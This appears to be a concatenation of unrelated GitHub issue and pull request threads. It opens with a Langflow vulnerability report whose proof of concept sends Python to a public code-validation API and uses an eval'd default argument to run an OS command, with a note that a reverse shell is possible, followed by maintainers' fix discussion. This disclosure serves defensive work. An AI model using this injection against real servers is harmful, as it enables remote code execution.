While this API is the public API, so if a service is running on a public server, attacker can do RCE by calling the API, giving a part of code to execute the code remotely, even reverse a shell.
To Reproduce
Here is the PoC:
from fastapi.testclient import TestClient

def client():
    from langflow.main import create_app

    app = create_app()

    with TestClient(app) as client:
        return client

def test_post_validate_code(client: TestClient, code):
    # Test case with a valid import and function
    response1 = client.post("api/v1/validate/code", json={"code": code})
    print(response1.json())
    assert response1.status_code == 200
    assert response1.json() == {"imports": {"errors": []}, "function": {"errors": []}}

code = """
def x(y=eval('__import__("os").system("ls")')):
    pass
"""

test_post_validate_code(client(), code)

Shell Log
➜  langflow python3 langflow_poc.py
langflow.db	langflow_poc.py	logs
{'imports': {'errors': []}, 'function': {'errors': []}}

Hi! What are your suggestions on this?
Sandboxing is out of reach for an open-source project like this (for now at least). I think we can test some options such as literal_eval but I'm not sure it is going to have the same result. What do you think?

Hi! Sorry for the late reply...
My suggestion is that:

add a lightweight sandbox such as ast-based sandbox to traverse all the node and filter out those malicious one such as import, dangerous functions.
just replace it with literal_eval.
add a comment or warning on this API that warns the user that this API should not be directly called by arbitrary user, use it as your own risk.
Thanks! Hope these suggestions will do some help.


Error detected while processing function 3[1]..390[5]..392[2]..47_onGitWorkdirSuccessCB

Self-Diagnosis

[/] I have searched the issues for an answer to my question.
[/] I have reviewed the NERDTree documentation(README.md).
[/] I have searched the web for an answer to my question.

Environment (for bug reports)

[/] Operating System: macOs 10.14.6
[/] Vim/Neovim version :echo v:version: MacVim, vim 8.2 with patches 1-1456
[/] NERDTree version, found on 1st line in NERDTree quickhelp ?: 6.9.9
[/] vimrc settings:

rubins-vimrc.txt
- Other NERDTree-dependent Plugins
    - [x] jistr/vim-nerdtree-tabs
    - [x] ryanoasis/vim-devicons
    - [x] tiagofumo/vim-nerdtree-syntax-highlight
    - [x] Others (specify):
- [/] I've verified the issue occurs with only nerdtree-git-plugin installed.

Steps to Reproduce the Issue

Updated nerdtree-git-plugin through VimPlug
Observe error in :messages :

Error detected while processing function <lambda>3[1]..390[5]..392[2]..<SNR>47_onGitWorkdirSuccessCB:
line    1:
E684: list index out of range: 0

Note that very very sometimes, the error does not show up (1 in 10 tries approximately).
Current Result (Include screenshots where appropriate.)
Error:

Expected Result
No error:

Related #150

Please update and have a try.

I can confirm the issue does not occur anymore (tried about 7 times to reproduce it, all cases no error).

Good. I'm closing this issue. Feel free to comment if this occurs again.


chore: add filter overload to doc.slice()

Add an optional filter overload to document.slice(start, end, filter?) and document.cut(start, end, filter?). The filter function allows us to override which annotations should be truncated and included in the slice or cut. By default, we had been truncating and including every annotation that overlaps the range. Sometimes, we may want to only include annotations that lie wholly within the range, such as when slicing/cutting a subdocument - in that case we (sometimes) do not want to include annotations that may be wrapping the subdocument's parent annotation:

Here is a caption

                 ^--------------- caption ----------------^
         ^------------------------ figure -------------------------^
^------------------------------  section ------------------------------------^

In the case above, this allows us to slice out a caption without including the figure or section annotations in the slice:
doc.slice(start, end, a => start <= a.start && a.end <= end);

One reason I'd like to provide a flexible override is to allow for specific boundary conditions, such as looking for annotations that may coincide with the range boundary vs those that are properly within the range, allowing overlaps on the left vs right, etc. To support this, it would be necessary to do so before truncating the annotations at the range boundary.
I imagine another use case would be to filter on the annotation type or other properties (though you could perform an analogous where query on the resulting slice.

There was a discussion about this increasing the scope of the API, but if it's useful now, we'll merge and reevaluate later!


Legitimate Data found?

Hey, did you find any legitimate data sources for this?

No, still trying to get those data. but, due to privacy issues, none of the agencies are providing the data.


filter postfix aggreate does not aggreate 100% log

I do a test: use tool "smtp-source" (Postfix tool) send 100 emails to test filter aggreate, the result:

first test: filter aggreate success, I see a report 100 emails in Kibana
second test: filter aggreate not expected, I see a report 98 emails in Kibana, lost 2 emails
third test: filter aggreate success, I see a report 100 emails in Kibana
forth test: filter aggreate not expected, I see a report 97 emails in Kibana, lost 3 emails

may be bug in your filter postfix aggreate's code.
Thanks for your help.
My test environment:

logstash 7.17.9-1
elasticsearch 7.17.9-1
kibana 7.17.9-1
filebeat 7.17.8
postfix 2.10.1

Hi,
If I set pipeline.workers: 1 in file pipeline.yml of logstash (default is 2), filter aggreate success in all test.

The pipeline configuration was contributed in https://github.com/whyscream/postfix-grok-patterns/pull/147, I have no firsthand experience using it. Just to rule out any other issues:

Are all 100 sent messages actually in postfix?
Can you find anything remarkable in the postfix logging for the messages that you're missing in logstash (if you compare postfix queue ids, you should be able to find the missing data in logstash)?


[NFR] add autowire to DI container

Modern DI containers supprot autowire feature.
(http://php-di.org/doc/autowiring.html)
But phalcons not. And it could not be replaced by them.
It would be grate to make container autowireable.

Is it possible to create your own DI container by implementing DiInterface in Phalcon 3.4.5? We really want to use autowiring which is not possible with default container...

@aat2703 https://github.com/Jurigag/cphalcon/tree/4.1.x-autowire here is my old work i've done for 4.1.x (cphalcon), it was pretty much working PoC, i guess you could somehow implement it to 3.4.5

Hi, Any news of that ?

We have not started work on this one yet. Once v5 is out will be able to concentrate on v6 and then add all these NFRs that are in the queue.

This has been implemented for v6. Still work to be done to wire it to the application.


Add flag for turning off/on highlighting paths on mouseover

I'd like to use the highlightFeatures() api for the the 'show connected paths' tool, as it keeps the colours of the paths.
However currently, the mouseover events override the highlighting as soon as the cursor moves.
Would be great to have a way to turn the highlighting of paths from mouseover on/off

Just clarifying, it is only paths that you don't want highlighting? The original PR was trying to address all features, not just paths.
And I'm still not sure exactly what you want, esp. as the notion of highlighted has variously meant selected or activated as the software has evolved. Forgetting about whathighlightFeatures() currently does, is what happens when you click on a path something like what you are after??

Just clarifying, it is only paths that you don't want highlighting

Yep, want a flag to turn on/off the highlighting on mouseover

I'll send a video on slack so you can see what I'm talking about


Initiation problem, works normal every time I resize the window

This is a (multiple allowed):

[x] bug

Swiper Version:5.4.5

Platform/Target and Browser Versions:  macOS, Windows CHROME

Live Link or JSFiddle/Codepen or website with isssue: https://www.masonsoft.com/user_details?prof_id=1734254&w=preview

What you did
I initiated like this:
$(function() {
var mySwiper = new Swiper ('.swiper-container', {
loop: false,
autoplay:false,
autoHeight: true,
delay: 5000,
pagination:{
el: '.swiper-pagination',
clickable:true,
type: 'custom',
renderCustom:function(swiper,current,total){
  var customPaginationHtml = "";
console.log(current)
  for(var i = 0; i < total; i++) {
   if(i == (current - 1)) {
   customPaginationHtml += '<span class="swiper-pagination-bullet swiper-pagination-bullet-active"">';
   } else {
   customPaginationHtml += '';
   }
  }
  return customPaginationHtml;
}
}
});
});
Expected Behavior
Show pagination bar, no loop.
Actual Behavior
The pagination bar not show, and the swipe logic is wrong(loop is open), Every time I resize the window, it becomes normal.

Every time I resize the window, it becomes normal

It means that on moment of initialization Swiper container was hidden or had 0 size


Rotary encoder from keyboard is broken on master

Describe the bug
My Keychron Q2 keyboard has a volume knob, which does not seem to work on master. On the release-21.11 branch everything works as expected. I'm not entirely sure how to bisect this, so I thought I'd open up an issue to see if anyone else has an idea.
I do use QMK to configure some mappings, but this happens on the stock firmware as well.
On release-21.11, it sends XF86AudioMute when pressing the knob, and XF86AudioRaiseVolume/XF86AudioLowerVolume when rotating it. On master, rotating/pressing it does not do anything. I suspect this is an issue with the rotary encoder drivers somewhere, but I know very little about the subject.
I have tried downgrading the kernel, but that did not fix anything.
Steps To Reproduce
Steps to reproduce the behavior:

Buy a Keychron Q2
Notice the knob not working when using NixOS master

Expected behavior
Rotating/pressing the knob should change the system volume.
Additional context
See https://github.com/qmk/qmk_firmware/issues/16097 as well, it may have some relevant information.
Metadata
> nix-shell -p nix-info --run "nix-info -m"
 - system: `"x86_64-linux"`
 - host os: `Linux 5.16.5, NixOS, 21.11 (Porcupine)`
 - multi-user?: `yes`
 - sandbox: `yes`
 - version: `nix-env (Nix) 2.5.0pre20211206_d1aaa7e`
 - channels(ivv): `"home-manager, nixpkgs"`
 - channels(root): `"nixos-22.05pre345234.b2737d4980a"`
 - nixpkgs: `/home/ivv/.nix-defexpr/channels/nixpkgs`

It this got fixed by https://github.com/NixOS/nixpkgs/pull/157631, it didn't have anything to do with the hardware. Really happy to have this fixed :)


(Build) Fail on features/animation_blending branch.

This issue is created automatically by CI.
Linux Build State: failure
Windows Build State: success
Commit: 894e175e0f3bcc7da3934cb7595c36beea9acceb
Commit Branch: features/animation_blending
Commit Author: @Monika0000.

CI: The build in this branch is still failing.
Linux Build State: failure.
Windows Build State: success.
Commit 7781d7d7fa187baaa0d7e3da71f21fba8e7d863b by @Monika0000.

Auto-closing as build in this branch is successful now. Commit: 6835b1865a9d271eff8a0cccf3a0ed260bf0fb6f


Rebase uifacilitation to devel and run tests

compiling tests just failed at 64% with this message
collect2: error: ld returned 1 exit status
test/DAG/DOT/CMakeFiles/dot_test_29.dir/build.make:112: recipe for target '../test/DAG/DOT/testBin/dot_test_29' failed
make[2]: *** [../test/DAG/DOT/testBin/dot_test_29] Error 1
CMakeFiles/Makefile2:13733: recipe for target 'test/DAG/DOT/CMakeFiles/dot_test_29.dir/all' failed
make[1]: *** [test/DAG/DOT/CMakeFiles/dot_test_29.dir/all] Error 2
Makefile:140: recipe for target 'all' failed
make: *** [all] Error 2

@jleidel I got all the tests to compile. I have everything rebased into devel on my local and all the tests pass. It's ready to push unless you want me to hold off. I'm going to go to bed for the night though.

@jleidel I got all the tests to compile. I have everything rebased into devel on my local and all the tests pass. It's ready to push unless you want me to hold off. I'm going to go to bed for the night though.

Feel free to push

Completed by Coregen Commit 4eb81810407274b29f23182d6de7744a2ba9a5eb


[Feature Request] viewer - simple and like reveal.js

Can we have these features?

Viewer button for slide decks that can be used to play PPT on browser
Viewer layout like reveal.js (horizontal for topics and vertical for subtopics)

Hi @INF800 ,

Is on the roadmap: #29. In the past few months I haven't had time to work on this project, and my side-project-time situation is not improving, 😅 so I can't give an indication of when I'll be able to implement it. (Of course, contributions are always welcome. 🙂 )
I think it could be implemented in the future in-app viewer, but probably not in the pdf file that slides are saved to (as far as I know, pdf files only support a "linear progression"). To be honest, I don't particularly like the "bi-dimensional progression" of reveal.js, as I find it quite confusing. So personally I won't implement it, but I wouldn't reject a PR that implemented it.


Mz adds ys

Adding more Ys was even more fun than the Xs! Includes items such as "carbon life forms."

Looking good, dont forget to follow https://twitter.com/NextBigThingBot


Add a custom serializer for untagged enum unit variants

Untagged enum unit variants always serialize as null: https://github.com/serde-rs/serde/issues/1560
Therefore, a custom serializer must be implemented in order to create the desired behavior, which is to output the actual unit variant values/names.
An additional PR has been opened to mention this in the serde documentation: https://github.com/serde-rs/serde-rs.github.io/pull/142

Seems reasonable given the parent issue.


Rest of the blob async tests

Not included:
BlobApiTests:
uploadIncorrectSize - client.upload doesn’t take size
uploadInputStreamNoLengthOverwrite - covered in uploadFluxOverwrite
uploadTimeout - no way to set timeout on async uploadwithresponse
uploadFailWithSmallTimeoutsForServiceClient  - no way to set timeout on async uploadwithresponse
downloadError - does not take in null
parseSasTokenWithStartAndEndTimeDateOnly - doesn’t use any sync client or method
ContainerApiTests:
listBlobsFlatOptionsFail - doesn't use any sync client or method
listBlobsFlatOptionsLastAccessTime - listblobs does not return access time, marked as disabled in async
CPKTests:
setBlobTierWithCPK - commented out in sync version

API change check
APIView has identified API level changes in this PR and created following API reviews.
azure-storage-blob

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests

/azp run java - storage - tests


Lot size with multiple profit targets

Hi,
Thanks for the great tool.
I use it with multiple profit targets in an account with little funds. The issue I observe is that the distribution of the lot size by the different portions of the trade doesn't look correct.
I attach an example where I have 4 PT with 25% each, and one of the portions has 0.04 and the others 0.01. Ideally, they should all have the same lot size but since that's not possible (unit is 0.01 lots), I believe a 0.02, 0.02, 0.02, 0.01 lots would make more sense.
There are other small issues relative to multiple PT:

When the number of PT is changed, the percentage distributions of the PT get messed up but don't become red to indicate an error.
If I have 3 PT, it accepts 33% in each (doesn't become red) but that gives different lot sizes than 34%, 33%, 33%. seems something is not quite right.

Kind Regards, Jaime.

Hello!
Thank you for reporting!
I will consider changing the volume distribution algorithm. I will also fixed the bug for when the TakeProfitsNumber is changed.
As for the third bug you mention, I don't quite understand the issue. Could you please provide more details?

Hi,
Firstly, how do one divide evenly between 3 positions (33.33..% x3) ? The expert doesn't allow decimals so, if I enter 33 in all positions, does that mean each has 33.33% ?
In that situation (3 x 33%), the lot distribution seems worse than in previous example I showed. See attached image.
Kind regards,
Jaime Machado

3 x 33% is correct, but for some reason it doesn't work well in this case. Your calculated position size was 0.03 lot?

3 x 33% is correct, but for some reason it doesn't work well in this case. Your calculated position size was 0.03 lot?

Yes, 0.03 lot total.

Should be addressed in 3.03.


Add support for ResizeMode

Hi, I really like this repository, but I noticed that the ResizeMode is currently unavailable, I hope this PR can be helpful.

I will release it as 1.3.0 along with other features.
Thanks for your contribution!

Wow! This is good news, thanks.


This a) simplifies the Buildbot master configuration and b) uses YAML to configure build steps instead of Python code. This allows us to PR the YAML file over to the main servo repo for #316; I'd like to see this landed before working on the rest of #316.
cc @edunham @shinglyu

This change is

Having not looked at any of the rest of the implmentation, that's a really nice YAML configuration file!

A note I left myself yesterday:
We don't need the GITHUB_STATUS_TOKEN pillar value anymore, so when this lands, we need to do the following:

[ ] Revoke the token (if it's still valid) (unless it's getting used for homu...)
[ ] Remove the value from the production pillar

Also, to check that this works properly you can rename master.cfg to master.py, then in a Python2 repl import master and peruse the master.c['builders'] object - I found this helpful while testing.

Reviewed 1 of 1 files at r1, 1 of 1 files at r2, 1 of 1 files at r3, 2 of 2 files at r4, 2 of 2 files at r5, 3 of 3 files at r6, 1 of 1 files at r7, 4 of 4 files at r8, 2 of 2 files at r9, 3 of 3 files at r10, 2 of 2 files at r11.
Review status: all files reviewed at latest revision, 2 unresolved discussions, some commit checks failed.

a discussion (no related file):
Can you please remove the pkill commit? It hasn't done so in a while, but it catches when servo processes spin out of control occasionally, so I'm loathe to remove it until we do something like reboot or image staging per-PR.

a discussion (no related file):
I think we need to keep the "duplicate" tests for manifest/lock file changes. They need to be run multiple times, because cargo can update different Cargo.lock files differently on different platforms and release vs. debug.

Comments from Reviewable

This is an awesome PR! @edunham and I just spent some time reviewing it line by line and were in awe of how much cleaner everything will be after this. Nice work!

These changes are beautiful, and were uniquely easy to review because of how well you structured your commits. Now our only changes are lines to add back into steps.yml, as Lars has mentioned:

We do still need to pkill -x servo at the start or end of every build, or the platform-specific equivalent, because sometimes unusual test failures leave servo processes lying around.
We'd prefer to keep running the "duplicate" tests for now, to catch subtle differences between platforms

Reviewed 1 of 1 files at r1, 1 of 1 files at r2, 1 of 1 files at r3, 2 of 2 files at r4, 2 of 2 files at r5, 3 of 3 files at r6, 1 of 1 files at r7, 4 of 4 files at r8, 2 of 2 files at r9, 3 of 3 files at r10, 2 of 2 files at r11.
Review status: all files reviewed at latest revision, 2 unresolved discussions, some commit checks failed.

Comments from Reviewable

Thanks, I'm a stickler for using git commits + messages effectively :)
Quick question about keeping the duplicates - the only two tests that should be duplicated are lockfile_changed.sh and manifest_changed.sh, not test-tidy or check_no_unwrap.sh, correct? Also, lockfile_changed.sh just runs git diff, so why would its results be platform specific?

Yes, just lockfile/manifest_changed.
The Cargo.lock file contains a list of all of the crates and versions used across all platforms. But, in a given platform-specific build, only a subset of those might get touched. Further, different platforms (cef, stylo, servo, and gonk) even have their own different Cargo.lock files that are only touched on those builds! That check tends to catch errors on builds that are not performed by the original author (e.g., MacOS package updates for people who only have linux).

This seems to get rid of the logfiles stuff we had? Perhaps we should add an extra logfiles key to the YAML?

@Manishearth the DynamicServoFactory.make_step method uses a little magic - sorry, heuristics :wink: - to automatically populate the logfiles parameter when necessary by looking for --log-something arguments to ./mach. The logfiles parameter is easy to miss - see #310 for an example - but our usage of mozlog means this catches every important logfile so far.
In the future, we can make make_step smarter to handle explicit configuration of logfiles and such in the YAML file fairly easily, but I'd prefer to avoid that until we really need it.

@larsbergstrom should we be running the lockfile and manifest checks on all the other builders as well, e.g. arm32 and arm64 and android?

Yes, because each platform might pull in platform-specific packages which won't have been updated in the committer's lockfile.

What's the equivalent of pkill for Windows?

Added back pkill (note, it's first removed then added back in a later commit), and updated the steps.yml file.
I also added a few TODO comments to do both of those things for Windows as well.

@aneeshusa taskkill, https://technet.microsoft.com/en-us/library/bb491009.aspx
I think we want taskkill /im servo.exe, but will check it out tomorrow when I'm in front of my Windows VM.

But yes, feel free to skip it on Windows for now!

Fixed the build error.

Reviewable just made me go through every commit again, but showed everything unchanged from before you rebased as being empty diffs. Still looks good, though :)

Reviewed 9 of 9 files at r12, 1 of 1 files at r13, 1 of 1 files at r14, 2 of 2 files at r15, 2 of 2 files at r16, 1 of 1 files at r17, 3 of 3 files at r18, 1 of 1 files at r19, 4 of 4 files at r20, 2 of 2 files at r21, 2 of 2 files at r22, 8 of 8 files at r23, 1 of 1 files at r24, 3 of 3 files at r25, 1 of 1 files at r26, 4 of 4 files at r27, 2 of 2 files at r28, 2 of 2 files at r29, 1 of 1 files at r30.
Review status: all files reviewed at latest revision, 2 unresolved discussions.

Comments from Reviewable

Do we need to quote the commands in the yaml file? We might have some steps that has special characters that may be parsed incorrectly?

Yaml is pretty good that way, it uses newlines so you rarely need to quote

:umbrella: The latest upstream changes (presumably #310) made this pull request unmergeable. Please resolve the merge conflicts.

Rebased again; sorry to make you sit through another Reviewable session!

@edunham I think this is probably good to go, right? At least, reviewable is just telling me it's a rebase with no edits, and I think everything is signed off...

@larsbergstrom I agree, let's land it now and then test carefully.
@bors-servo r+

:pushpin: Commit acf76a1 has been approved by edunham

:hourglass: Testing commit acf76a1 with merge 59eb816...

:sunny: Test successful - travis


[Request] what do you think of touching any icon inside the icon pack, gives us the option to assign it to any app installed on the phone

Not possible. This options should be available in launcher, not the dashboard.

Thanks for the info.


Support for other specialized gzip formats similar to BGZF

Pragzip already supports BGZF files and also indexes created by indexed_gzip. Support for more obscure similar gzip file formats would be necessary because gzip files consisting only of multiple gzip streams with each one (final) deflate block will not be found by the block finder yet. A generic solution should add a third blockfinder that looks for gzip stream header magic bytes, which should be sufficiently fast.
mgzip and its fork pgzip seem to have the same format as BGZF but it has a different ID IG instead of BC. This should be trivial to support.
gztool writes out an index similar but different to the one created by indexed_gzip.
pgzf is a very young project and I don't see the difference between it and bgzip and why I would use it instead of bgzip. It also has its own format which seems to be a mix of a concatenated index and gzip file header metadata pointing to it.
migz store a lot of metadata, compared to others but in the end, it is the same idea.
Bgzip has an index file BGZI, which I currently do not support because parsing a bgzf is sufficiently fast. But, loading the index might have advantages for very large files stored on HDDs as opposed to SSDs.

The file contents are:
 uint64_t number_entries

followed by number_entries pairs of:
 uint64_t compressed_offset
 uint64_t uncompressed_offset

Unfortunately, it does not seem to have a magic byte header.
Dead projects: GZinga, Dictzip

A generic solution should add a third blockfinder that looks for gzip stream header magic bytes, which should be sufficiently fast.

It might be even easier to simply skip the final block bit flag. This would "only" double the number of false positives. Still, it would negatively impact overall performance, so it needs to be benchmarked. Looking for gzip headers also would negatively impact performance and needs to be benchmarked. A first clue would be given by the gzip header finder speed.

Simply allowing the final block bit to be set, almost halves the block finder performance! Because of this, looking for gzip headers might be faster then even if it requires a second pass over the data.
Requiring final block flag to be 0
m benchmarkGzipBlockFinder && src/benchmarks/benchmarkGzipBlockFinder

[findDeflateBlocksRapidgzipLUT with 13 bits, Walk Tree Compressed LUT] ( 63.1 <= 63.8 +- 0.4 <= 64.4 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 14 bits, Walk Tree Compressed LUT] ( 64.42 <= 65.00 +- 0.22 <= 65.14 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 15 bits, Walk Tree Compressed LUT] ( 60.5 <= 63.8 +- 1.6 <= 64.7 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 16 bits, Walk Tree Compressed LUT] ( 65.22 <= 65.54 +- 0.22 <= 66.04 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 17 bits, Walk Tree Compressed LUT] ( 63.2 <= 65.0 +- 0.9 <= 66.1 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 18 bits, Walk Tree Compressed LUT] ( 64.86 <= 65.02 +- 0.11 <= 65.27 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 13 bits, Walk Tree LUT] ( 66.29 <= 66.91 +- 0.29 <= 67.33 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 14 bits, Walk Tree LUT] ( 66.54 <= 67.04 +- 0.25 <= 67.51 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 15 bits, Walk Tree LUT] ( 65.8 <= 66.9 +- 1.2 <= 70.1 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 16 bits, Walk Tree LUT] ( 68.0 <= 69.0 +- 0.4 <= 69.4 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 17 bits, Walk Tree LUT] ( 66.9 <= 67.9 +- 0.5 <= 68.3 ) MB/s (candidates: 495)
[findDeflateBlocksRapidgzipLUT with 18 bits, Walk Tree LUT] ( 62.3 <= 65.4 +- 2.3 <= 67.6 ) MB/s (candidates: 495)

Ignoring final block flag
[findDeflateBlocksRapidgzipLUT with 13 bits, Walk Tree Compressed LUT] ( 34.7 <= 37.3 +- 0.9 <= 38.0 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 14 bits, Walk Tree Compressed LUT] ( 36.6 <= 37.2 +- 0.4 <= 37.6 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 15 bits, Walk Tree Compressed LUT] ( 35.9 <= 36.8 +- 0.6 <= 38.0 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 16 bits, Walk Tree Compressed LUT] ( 37.49 <= 37.96 +- 0.27 <= 38.31 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 17 bits, Walk Tree Compressed LUT] ( 36.0 <= 37.8 +- 0.7 <= 38.3 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 18 bits, Walk Tree Compressed LUT] ( 36.5 <= 37.0 +- 0.4 <= 37.6 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 13 bits, Walk Tree LUT] ( 37.7 <= 38.7 +- 0.4 <= 39.1 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 14 bits, Walk Tree LUT] ( 37.44 <= 38.03 +- 0.24 <= 38.30 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 15 bits, Walk Tree LUT] ( 35.8 <= 37.6 +- 1.1 <= 38.7 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 16 bits, Walk Tree LUT] ( 37.4 <= 37.8 +- 0.3 <= 38.3 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 17 bits, Walk Tree LUT] ( 35.3 <= 36.2 +- 0.6 <= 37.1 ) MB/s (candidates: 496)
[findDeflateBlocksRapidgzipLUT with 18 bits, Walk Tree LUT] ( 34.6 <= 35.8 +- 0.6 <= 36.6 ) MB/s (candidates: 496)


info: Remove get_install_date

It parses ls output.

There's no alternative method of doing this (but still).

It incorrectly assumes that  modification time is creation time.

Results can easily be inaccurate if the system or user modified one of the files.

It requires over 150 lines of code to function.

This includes a separate function that does manual (but awesome) conversion of date formats.

Hello @dylanaraps
I have some things to add to this discussion that occured to me while developing a script to print elapsed time from installation.

It parses ls output. There's no alternative method of doing this (but still).

There is an alternative to ls and that is stat. So instead of parsing ls output one could use the following:
stat /lost+found | awk '/Birth:/ {print $2 $3 $4}'

It incorrectly assumes that modification time is creation time.

This is an existing problem for certain distributions. There is a great number of distributions that provide certain logs for installation time (e.g. debian based have /var/log/installer and arch based have pacman.log )

It requires over 150 lines of code to function.
This is true regarding the separate function and I think its unavoidable as for now.

I am more than willing to re-implement this one if needed, mainly because I think it is a useful and funny statistic to be offered.


General cleanup

Changelog

General formatting
Modified linter file to allow indented code for readability
Linter Errors fixed
Removed double bottom border from cluster dropdown
Bumped version

Closes #48

oh no, plz revert the autoformatted changes 😭

oh no, plz revert the autoformatted changes 😭

:( fixed!


Exported readContext method

Closes #91

If #95 is accepted, this change is no longer needed.

Actually readContext is still necessary because some information from context can be necessary for event processing.


Add API function pointer and ICD dispatch table definitions

...so that implementations (and others) can use definitions
straight from the headers instead of mirroring them.
The definitions come from https://github.com/KhronosGroup/OpenCL-ICD-Loader
with the following name changes:

function pointers are now prefixed with 'cl_pfn_'
the dispatch table type is now 'cl_icd_vendor_dispatch_table'

Contributes to https://github.com/KhronosGroup/OpenCL-ICD-Loader/issues/72
Signed-off-by: Kevin Petit<EMAIL_ADDRESS>

Thanks for the feedback!

automatically generating code like the function pointers from the cl.xml

Wholeheartedly agree. Trying to maintain these definitions without a single source of truth is bound to result in mistakes.

Is it possible that the function pointers could be useful by themselves, without the dispatch table? If so, consider putting them in separate files.

Yes, I can see them being useful on their own but my initial reaction would be that a separate file feels a bit overkill. Having to pull the dispatch table declaration as well doesn't feel like too much pollution. We may want to consider renaming the file from cl_icd.h to something more generic though. Any suggestions?

I'd consider a different prefix ("_cl", perhaps?) for declarations that are not part of the official API, meaning things like the function pointers and the dispatch table.

I'm not so sure, the C rules for reserved identifiers would be lurking uncomfortably near. _cl_pfn would be valid but _cl_PFN or __cl_pfn would be reserved.
Regarding the dispatch table, I've created https://github.com/KhronosGroup/OpenCL-Docs/pull/101.

Should this file #include cl.h, since it has a dependency on the types it defines?

Yes, it definitely should. Thanks for catching that.

Consider adding a comment in this file and/or a section in the README to describe what this file contains.

Yes, this can't hurt. I've added a short summary at the top of the header file.

Just a quick comment about the fact that some (usually open source POCL, SOCL, etc...) implementation of OpenCL use the old struct _cl_icd_dispatch structure type, which was provided in the ocl_icd.h file from the open source development packages.
If we want the new functionalities to serve as a drop-in replacement it may be useful to keep the naming unchanged.
Brice

I'd consider a different prefix ("_cl", perhaps?) for declarations that are not part of the official API, meaning things like the function pointers and the dispatch table.

I'm not so sure, the C rules for reserved identifiers would be lurking uncomfortably near. _cl_pfn would be valid but _CL_PFN or __cl_pfn would be reserved.

Ah, good point.  Maybe cl_api then, to match the CL_API prefix already used for things like CL_API_ENTRY and CL_API_CALL?
I'm fine with the existing cl_pfn, or _cl_icd for compatibility with ocl-icd as well, so no action required, just enumerating options.
What are next steps for this PR?

@Kerilk Noted. I'm guessing that ocl_icd.h file is a copy of the Khronos loader definition, isn't it? I don't think being a drop-in replacement is really a requirement and I think I'd rather these projects make a conscious decision to transition. That being said, we should probably change ocl_icd.h as well so that it uses the new definition from the headers. Where is this file maintained?
@bashbaug  Yeah, I prefer cl_api as well. I'll update the PR.
I think the next step is to merge if we're in agreement, isn't it?

@kpet No, the ocl_icd.h is generated from a YAML file containing parsed entry points. The position of the entry points in the table was reversed engineered from vendor libOpenCL.so using dummy OpenCL implementations. This was before the sources were made public.
You can obtain it building the loader:
https://github.com/OCL-dev/ocl-icd

I'd like to progress on this. Is the only thing keeping this from progressing the name change from struct _cl_icd_dispatch? If that's the only problem I'm happy to add an alias or even rename the structure. (cc @Kerilk @bashbaug)

Fine by me.

No issues from me either.
I have a slight preference for typedef struct _cl_icd_dispatch { ... } cl_icd_dispatch;, or even just struct _cl_icd_dispatch { ... };, since this is what is in the cl_khr_icd extension specification and what other open source projects are using, but I'm really fine either way.
Let me know when this is ready to go and I can merge.

@bashbaug Done, PTAL.

Looks good to me - thanks!
I still think we might want to separate out the function pointers from the dispatch table definition, especially if we start to generate the function pointers, but I think we could do that as a follow-on change if desired.


500:Internal Server Error "internal_server_error",  reason: "No DB shards could be opened."

Description
Hello, i'm connecting to CouchDB from Java with Ektorp. I'm inserting with threads, it works fine until reach to around 100 threads.
Current Behavior
When reach to around 100 threads i get the next error:

500:Internal Server Error
Response Body:
{
"error" : "internal_server_error",
"reason" : "No DB shards could be opened.",
"ref" :<PHONE_NUMBER>
}

That one is repeating on some documents, randomly.
Expected Behaviour
I want to know what is reason for that, if i can change the settings in COUCHDB to fix it.
Your Environment
I'm using java version "1.8.0_251" in a project with Ektorp 1.5 for connection with CouchDB.

CouchDB 3.1

That is my configuration of the connection with CouchDB:
            int milSeg = 100000;
            this.httpClient = new StdHttpClient.Builder()
                    .url("http://localhost:5984")
                    .maxConnections(100)
                    .connectionTimeout(milSeg)
                    .socketTimeout(milSeg)
                    .build();
            dbInstance = new StdCouchDbInstance(this.httpClient);

Thanks for read.

This isn't enough information for us to go on, I'm afraid.
If you look in your couch.log file we can see what errors are there.
Most likely you've run out of system resources to handle 100 requests at once. Does your system show it's out of RAM or CPU via standard monitoring utilities?

I think that is the reason, limited CPU. I appreciate that you have read. Sorry for your time, i'll close it and try a better machine.


Updated "Pass Additional ViewData to a Strongly-Typed Partial View" Sample

Fixes https://github.com/aspnet/Docs/pull/3002

@MaherJendoubi,
Thanks for having already signed the Contribution License Agreement. Your agreement was validated by .NET Foundation. We will now review your pull request.
Thanks,
.NET Foundation Pull Request Bot

@MaherJendoubi  Thanks


[Feature Request]: add contact section for eduland website

Is there an existing issue for this?

[X] I have searched the existing issues

Feature Description
add contact section for eduland website
Use Case
users can easily contact
Benefits
users can easily contact
Add ScreenShots
https://github.com/user-attachments/assets/add7de6c-a4ea-45fb-a093-7e11717423c3
Priority
High
Record

[X] I have read the Contributing Guidelines
[X] I'm a GSSOC'24 contributor
[ ] I'm a SSOC'24 contributor
[X] I have starred the repository

@apu52 please assign me this issue


Review of CONUS 404 Preprocessing Notebook

Caelan Simeone's Review of tutorial notebook. @alaws-USGS
